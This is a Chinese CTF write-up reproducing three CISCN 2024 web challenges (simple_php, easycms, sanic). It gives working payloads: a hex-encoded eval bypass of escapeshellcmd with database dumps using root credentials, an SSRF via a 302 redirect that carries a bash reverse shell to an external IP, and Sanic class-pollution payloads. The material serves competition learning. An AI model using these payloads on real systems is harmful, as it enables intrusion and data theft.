Ciscn2024web复现
simple_php
源码
|
**ini_set('open_basedir', '/var/www/html/');
**:设置 open_basedir
配置选项,限制 PHP 只能访问 /var/www/html/
目录及其子目录
$cmd = escapeshellcmd($_POST['cmd']); |
**escapeshellcmd**
是一个 PHP 内置函数,用于转义传递给 shell 的字符串,以防止命令注入攻击。它的主要作用是确保用户输入的字符串在作为 shell 命令的一部分执行时不会被解释为特殊字符或命令。这个函数会在某些有特殊含义的字符前添加反斜杠,从而使这些字符失去特殊含义。
eg:
假设有以下用户输入:
$input = 'cat /etc/passwd; rm -rf /'; |
使用 escapeshellcmd
转义后:
$escaped_input = escapeshellcmd($input); |
输出将会是:
cat\ /etc/passwd\;\ rm\ -rf\ / |
而且这里过滤了很多东西
跟着wp复现
php -r
是 PHP 命令行界面(CLI)的一部分,它允许你直接在命令行中运行 PHP 代码,而无需创建一个文件来包含这些代码。-r
选项用于指定一段将被执行的 PHP 代码
发现可以直接执行
那么我们这就可以命令执行
由于绕过的函数有些多,我们可以使用hex2bin()函数进行16进制转字符进行绕过
但发现直接php -r eval(hex2bin(73797374656d2827707327293b));
行不通
发现hex2bin需要的参数是一个字符串类型的数字,直接两个双引号呢?
不行 gg 准备跑路
但是总有大佬能想出来
substr() 这个就有点牛逼了
我们知道
自动类型转换(Type Juggling)
PHP 是一种弱类型语言,它支持自动类型转换,称为“类型杂耍”(type juggling)。这意味着 PHP 会在需要时自动将一种数据类型转换为另一种数据类型。这种转换在函数参数传递时特别常见。
当你传递一个数字给 substr()
的 $string
参数时,PHP 会自动将这个数字转换为字符串。这是因为 substr()
函数的第一个参数需要一个字符串,而 PHP 会尝试将传递的任何数据转换为期望的类型。
所以我们这里payload
cmd=php -r eval(hex2bin(substr(Gu0f3n73797374656d28276c73202f27293b,6))); |
成功执行
查找/目录发现没东西 但是 ps 发现有sql进程
# echo `mysql -u root -p'root' -e 'show databases;'`; |
爆出库名
# select * from PHP_CMS.F1ag_Se3Re7; |
还有个更简单的payload
mysqldump -uroot -proot --all-databases |
直接把所有库的所有数据查出来 然后找flag
easycms
hint:简单的cms,可以扫扫看? 提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ |
提示2:github找一下源码?
找到源码
https://github.com/dayrui/xunruicms
信息打点 发现这个cms的漏洞公示https://www.xunruicms.com/bug/
定位路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php
ssrf漏洞
定位这个函数dr_catcher_data
试了下输入本地不行
302跳转
自己vps上面构建302.php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.149.246.169%2F2222%200%3E%261%22"); |
payload:
?s=api&c=api&m=qrcode&text=1&thumb=http://vps:7777/ctf/302.php&size=6666&level=1 |
反弹shell
卡了? 试了几次都这样
gg 跑路 复现失败 ┭┮﹏┭┮
sanic
依旧是这位大佬gxngxngxn
参考
https://www.cnblogs.com/gxngxngxn/p/18205235
进入src路由
源码
from sanic import Sanic |
|
分析下这段 在/login路由处我们需要绕过**user.lower() == ‘adm;n’**的限制,由于这里是从session中读取,所以默认是会在分号处截断,直接传肯定是不行的
利用八进制绕过
原理之前DASCTF复现的时候讲过了
所以直接上操作
得到admin的session
进入admin
直接污染
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"} |
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]} |
得到flag名
{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"} |
访问src 拿flag